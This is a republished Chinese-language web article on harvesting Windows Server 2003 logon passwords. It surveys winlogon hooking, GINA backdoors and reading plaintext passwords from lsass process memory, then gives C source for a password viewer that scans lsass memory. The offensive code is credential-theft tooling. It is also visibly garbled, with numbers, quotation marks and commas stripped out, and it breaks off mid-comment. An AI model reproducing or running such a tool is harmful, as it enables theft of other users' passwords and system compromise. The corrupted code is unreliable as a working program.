熱點推薦:
您现在的位置: 電腦知識網 >> 電腦故障 >> 正文

如何在Windows 2003中得到登陸密碼

2013-11-12 00:00:20  來源: 電腦故障 

  在所有NT系統中都是有幾種方法可以得到登陸用戶的密碼的我知道的三種方法可以達到目的
  
  hook了winlogon中幾個函數網上也有這類型的程序叫winlogonhijack的項目在中有提供不過那個項目只對本地登陸用戶有效遠程登陸用戶無效
  
  使用Gina和winlogon進行套接只要對某些函數執行自己的記錄密碼的代碼就可以將密碼記錄下來穩定性高而且對本地或遠程登陸都有效不過現存的gina後門程序在XP或中都有些函數沒有被導出過主要因為xp和等在winlogon中加入了新的函數
  
  直接讀取內存數據得到明文密碼在NT /K中早就有程序findpass可以直接讀到winlogon進程中的內存數據而直接得到登陸用戶密碼因為在NTK中帳號的信息包括域名帳號和密碼都是有規律地在winlogon內存中的特定地址中所以可以很簡單就得到但在XP和系統中這樣方法是無效的了似乎我們是沒有辦法直接讀出明文地址了下面我們就來談談如何象findpass在NT K在在server 中得到登陸用戶的密碼
  
  雖然XP和是不象以前的NT系統那樣將登陸用戶信息保存在winlogon進程的內存地址內但是基Lsass進程對於要處理些信息時需要得到明文的登陸用戶密碼所以登陸用戶的密碼會在Lsass進程中出現(微軟沒有將密碼在Lsass進程中進行加密微軟的說法是因為Lsass需要得到明文的密碼就算將密碼加密也都只能用可逆的方法加密只要跟蹤lsass的操作一樣可以得到明文密碼所以微軟使用了比較懶惰的方法可能也是為了加快響應速度所以將明文密碼更是放在lsass進程內存內)說到這裡大家心裡都清楚了登陸用戶的密碼是在lsass進程的內存中就是這麼一回事但是要得到這個明文密碼真是象使用NT K下的findpass那樣容易嗎?事實上並不是那麼容易因為以下幾個原因:
  
  A密碼存放在lsass進程中的內存地址是沒有規律的
  
  B密碼有可能被最後登陸的用戶復蓋(例如管理員abc從本地登陸然後管理員bbb從遠程登陸然後管理員bbb注銷終端存放在lsassexe進程內存中的密碼還是管理員bbb的密碼)又或者用戶登陸後然後注銷了那麼我們就算得到了密碼也不知道是哪個用戶的密碼
  
  C密碼前後的數據也是沒有規律的如果有規律例如密碼前的數據一定是有一段全是字符的數據段那麼定位密碼就簡單
  
  原因A和C都給我們帶來定位密碼的困難原B就帶來不能確定密碼和帳號對應的問題看來微軟在新的系統還是做過點功夫不過我們是不會放棄的就算是碰碰運氣也看能不能得到密碼反正就算失敗也沒什麼關系
  
  最後的代碼是我寫來測試是不是能在的系統中得到登際用戶的密碼結果也正好象我們上面的分析一樣(當然了上面的結果是用這程序測測得到的)成功率當然不高因為受太多原因所影響定位密碼上的困難或者無法定位或者得到不是密碼的信息等等的原因都令失敗率顯得相當高不過總還是一種方法或者將來有人可以准確定位到那就是令人高興了雖然說失敗率高但在一種情況下成功率卻是很高的那就是管理員只是在本地或終端中登陸了以後再沒有用戶從本地或終端登陸過而且管理員也沒有鎖上過系統那麼成功率就會是相當高的了
  
  提高成功率的兩種做法:
  
  程序直接寫成服務定時檢查本地或遠程登陸(其實沒什麼分別)當檢測到登陸後去搜索lsass進程內存嘗試得到密碼
  
  程序模擬一個登陸(使用LogonUser()就能搞定)因為使用LogonUser()這個API你要提供帳號名和對應的正確的密碼才可以成功然後你就可以去搜索lsass進程內存因為知道密碼是什麼我們就能定位到密碼是保存在什麼地方因為登陸用戶的密碼都是保存在同一個地址或相離不遠的地址中模擬登陸和搜索可以先定位以後登陸的用戶的密碼會大約保存在什麼位置
  
  無論怎說三種方法中最穩定最安全的方法還是使用Gina那種方法Hijack了winlogn一些API的方法畢竟是改動了系統的東西對系統的穩定性來說會有考驗直接搜索lsass進程內存的方法呢雖說也是困難但准確性成功率卻又是低
  
  下面的代碼使用的是很笨而且很原始的搜索方法主要是搜索Lsass內存中LocalSystem Remote Procedure這個字符串因為在相當多的測試中密碼都是保存在有這個字符串的地址後一點的位置中當然了很多系統並沒有這個字符串或者就算有我們得到的都是錯誤的密碼
  
  代碼: //********************************************************************************
  // Version: V
  // Coder: WinEggDrop
  // Date Release: //
  // Purpose: To Demonstrate Searching Logon User Password On BoxThe Method
  // Used Is Pretty UnwiseBut This May Be The Only Way To Review The
  // Logon Users Password On Windows
  // Test PlatForm: Windows
  // Compiled On: VC++
  //********************************************************************************
  #include
  #include
  #include
  
  #define BaseAddress xb // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This AddressWhich Causes The Result Unreliable
  
  char Password[MAX_PATH] = ; // Store The Found Password
  
  // Function ProtoType Declaration
  //
  BOOL FindPassword(DWORD PID);
  int Search(char *Bufferconst UINT nSize);
  DWORD GetLsassPID();
  BOOL Is();
  //
  // End Of Fucntion ProtoType Declaration
  
  int main()
  {
  DWORD PID = ;
  printf(Windows Password Viewer V By WinEggDrop\n\n);
  
  if (!Is()) // Check Out If The Box Is
  {
  printf(The Program Cant Only Run On Windows Platform\n);
  return ;
  }
  
  PID = GetLsassPID(); // Get The Lsassexe PID
  
  if (PID == ) // Fail To Get PID If Returning Zerom
  {
  return ;
  }
  
  FindPassword(PID); // Find The Password From Lsassexe Memory
  return ;
  }
  // End main()
  
  //
  // Purpose: Search The Memory & Try To Get The Password
  // Return Type: int
  // Parameters:
  // In: char *Buffer > The Memory Buffer To Search
  // Out: const UINT nSize > The Size Of The Memory Buffer
  // Note: The Program Tries To Locate The Magic String LocalSystem Remote Procedure
  // Since The Password Is Near The Above LocationBut Its Not Always True That
  // We Will Find The Magic StringOr Even We Find ItThe Password May Be Located
  // At Some Other PlaceWe Only Look For Luck
  //
  int Search(char *Bufferconst UINT nSize)
  {
  UINT OffSet = ;
  UINT i = ;
  UINT j = ;
  UINT Count = ;
  if (Buffer == NULL)
  {
  return ;
  }
  for (i = ; i < nSize ; i++)
  {
  /* The Below Is To Find The Magic StringWhy So Complicated?That Will Thank MSThe Separation From Word To Word
  Is Not Separated With A SpaceBut With A Ending CharacterSo Any Search API Like strstr() Will Fail To Locate
  The Magic StringWe Have To Do It Manually And Slowly
  */
  if (Buffer == L)
  {
  OffSet = ;
  if (strnicmp(&Buffer[i + OffSet]LocalSystemstrlen(LocalSystem)) == )
  {
  OffSet += strlen(LocalSystem) + ;
  if (strnicmp(&Buffer[i + OffSet]Remotestrlen(Remote)) == )
  {
  OffSet += strlen(Remote) + ;
  if (strnicmp(&Buffer[i + OffSet]Procedurestrlen(Procedure)) == )
  {
  OffSet += strlen(Procedure) + ;
  if (strnicmp(&Buffer[i + OffSet]Callstrlen(Call)) == )
  {
  i += OffSet;
  break;
  }
  }
  }
  }
  }
  }
  
  if (i < nSize)
  {
  ZeroMemory(Passwordsizeof(Password));
  for (; i < nSize ; i++)
  {
  if (Buffer == x && Buffer[i + ] == && Buffer[i + ] == && Buffer[i + ] == && Buffer[i + ] == && Buffer[i + ] == && Buffer[i + ] == )
  {
  /* The Below Code Is To Retrieve The PasswordSince The Stri
From:http://tw.wingwit.com/Article/Fault/201311/10461.html
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.